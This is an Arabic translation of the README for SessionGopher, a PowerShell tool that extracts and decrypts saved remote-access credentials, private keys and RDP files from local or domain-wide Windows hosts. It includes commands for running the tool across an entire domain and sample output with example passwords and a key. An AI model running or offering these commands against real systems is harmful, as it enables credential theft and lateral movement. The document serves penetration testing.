
SessionGopher هي أداة PowerShell تستخدم WMI لاستخراج معلومات الجلسات المحفوظة لأدوات الوصول عن بُعد مثل WinSCP وPuTTY وSuperPuTTY وFileZilla وMicrosoft Remote Desktop. يمكن تشغيلها عن بُعد أو محليًا.
حقوق الطبع والنشر 2017 FireEye، إعداد Brandon Arvanaghi (@arvanaghi)
مرخّص بموجب رخصة Apache، الإصدار 2.0 (المشار إليها باسم «الرخصة»)؛ لا يجوز لك استخدام هذا الملف إلا بالامتثال لأحكام الرخصة. يمكنك الحصول على نسخة من الرخصة من:
http://www.apache.org/licenses/LICENSE-2.0
ما لم يقتضِ القانون المعمول به أو يُتفق عليه كتابيًا خلاف ذلك، يُوزَّع البرنامج المرخَّص بموجب هذه الرخصة على أساس «كما هو» (AS IS)، دون أي ضمانات أو شروط من أي نوع، سواء كانت صريحة أو ضمنية. راجع الرخصة للاطلاع على الصلاحيات والقيود المحددة المنطبقة على هذا البرنامج.
SessionGopher هي أداة PowerShell تكتشف معلومات الجلسات المحفوظة لأدوات الوصول عن بُعد وتفك تشفيرها. تتضمن وظائف WMI مدمجة بحيث يمكن تشغيلها عن بُعد. أفضل حالة استخدام لها هي تحديد الأنظمة التي قد تتصل بأنظمة Unix أو بصناديق القفز (jump boxes) أو بأجهزة نقاط البيع.
تعمل SessionGopher من خلال الاستعلام عن شجرة HKEY_USERS لجميع المستخدمين الذين سجّلوا الدخول إلى جهاز مرتبط بالمجال (domain-joined) في وقت ما. تستخرج معلومات الجلسات المحفوظة لأدوات PuTTY وWinSCP وSuperPuTTY وFileZilla وRDP، وتستخرج تلقائيًا وتفك تشفير كلمات المرور المحفوظة لأدوات WinSCP وFileZilla وSuperPuTTY.
عند تشغيلها في الوضع الشامل (Thorough)، تبحث أيضًا في جميع محركات الأقراص عن ملفات المفاتيح الخاصة لـ PuTTY (بامتداد .ppk) وتستخرج جميع معلومات المفتاح الخاص ذات الصلة، بما في ذلك المفتاح نفسه، بالإضافة إلى ملفات سطح المكتب البعيد (بامتداد .rdp) وملفات RSA (بامتداد .sdtid).
-Thorough: يبحث في جميع محركات الأقراص عن ملفات المفاتيح الخاصة بـ PuTTY (بامتداد .ppk)، وملفات اتصال سطح المكتب البعيد (بامتداد .rdp)، وملفات RSA (بامتداد .sdtid).
-o: يُخرج البيانات إلى مجلد يحتوي على ملفات .csv
-iL: قدّم ملفًا يحتوي على قائمة بالمضيفين لتشغيل SessionGopher ضدها، مع فصل كل مضيف عن الآخر بسطر جديد. قدّم مسار الملف بعد -iL.
-AllDomain: ستستعلم SessionGopher من Active Directory عن جميع الأنظمة المرتبطة بالمجال (domain-joined) وتشغَّل على جميعها.
-Target: مضيف محدد تريد استهدافه. حدّد المضيف الهدف بعد -Target.
. .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
للتشغيل عن بُعد، يمكنك إما توفير بيانات اعتماد حساب متميز على النظام البعيد باستخدام العلامتين -u و-p. إذا حذفت العلامتين -u و-p،
ستعمل SessionGopher ضمن السياق الأمني للحساب الذي تشغّل البرنامج النصي من خلاله (على سبيل المثال، إذا كنت قد سجّلت الدخول بالفعل كحساب DA، أو سجّلت الدخول بحساب يملك صلاحيات المسؤول المحلي على النظام المستهدف، أو كنت تستخدم runas مع أيٍّ من الاثنين، فلن تحتاج إلى توفير بيانات اعتماد).
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
أو
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
أو
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
يمكن إقران أيٍّ من هذه الأوامر بالعلامة -Thorough، لكن لاحظ أن ذلك يستغرق وقتًا أطول بكثير لأنه يستعلم نظام الملفات البعيد بأكمله. لا يُنصح بالتشغيل في وضع -Thorough عند الاستعلام عن
أكثر من مجموعة صغيرة من الأنظمة في المرة الواحدة.
يعمل التشغيل عن بُعد مع إضافة -o (الطباعة إلى CSV) بشكل جيد، إذ سيجمع SessionGopher جميع الجلسات التي يعثر عليها ويخبرك بالضبط أين عثر على تلك الجلسة المحفوظة.
لجعل SessionGopher تنشئ مجلدًا يحتوي بشكل منظم على ملفات .csv للجلسات المستخرجة:
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
... هذا كل شيء.
يتطلب الوصول إلى معلومات الجلسات المحفوظة لكل مستخدم في HKEY_USERS صلاحيات المسؤول المحلي. بدون صلاحيات المسؤول المحلي، ستظل تحصل على معلومات الجلسات المحفوظة لذلك المستخدم.
[+] Digging on Win7-Arvanaghi ...
WinSCP Sessions
Session : [email protected]
Hostname : 198.273.212.334
Username : admin-anthony
Password : Super*p@ssw0rd
Session : [email protected]
Hostname : 204.332.455.213
Username : Freddy
Password : angelico1892
FileZilla Sessions
Name : BarrySite
Password : imr34llytheFl@sh
Host : 10.8.30.21
User : BarryAllen
Protocol : Use FTP over TLS if available
Account : BarryAllenAccount
Port : 22
PuTTY Sessions
Session : PointOfSaleTerminal
Hostname : 10.8.0.10
PuTTY Private Key Files (.ppk)
Path : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol : ssh-rsa
Comment : rsa-key-20170116
Private Key Encryption : none
Private Key : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
Private MAC : b7e47819fee39a95eb374a97f939c3c868f880de
Microsoft Remote Desktop (RDP) Sessions
Hostname : us.greatsite.com
Username : Domain\tester
Microsoft Remote Desktop .rdp Files
Path : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname : dc01.corp.hackerplaypen.com
Gateway : rds01.corp.hackerplaypen.com
Prompts for Credentials : No
Administrative Session : Does not connect to admin session on remote host
كتبه Brandon Arvanaghi (@arvanaghi)
طُوّر هذا الكود في البداية في FireEye. ومع ذلك، يتم إجراء أي تحديث لاحق بواسطة المؤلف خارج FireEye.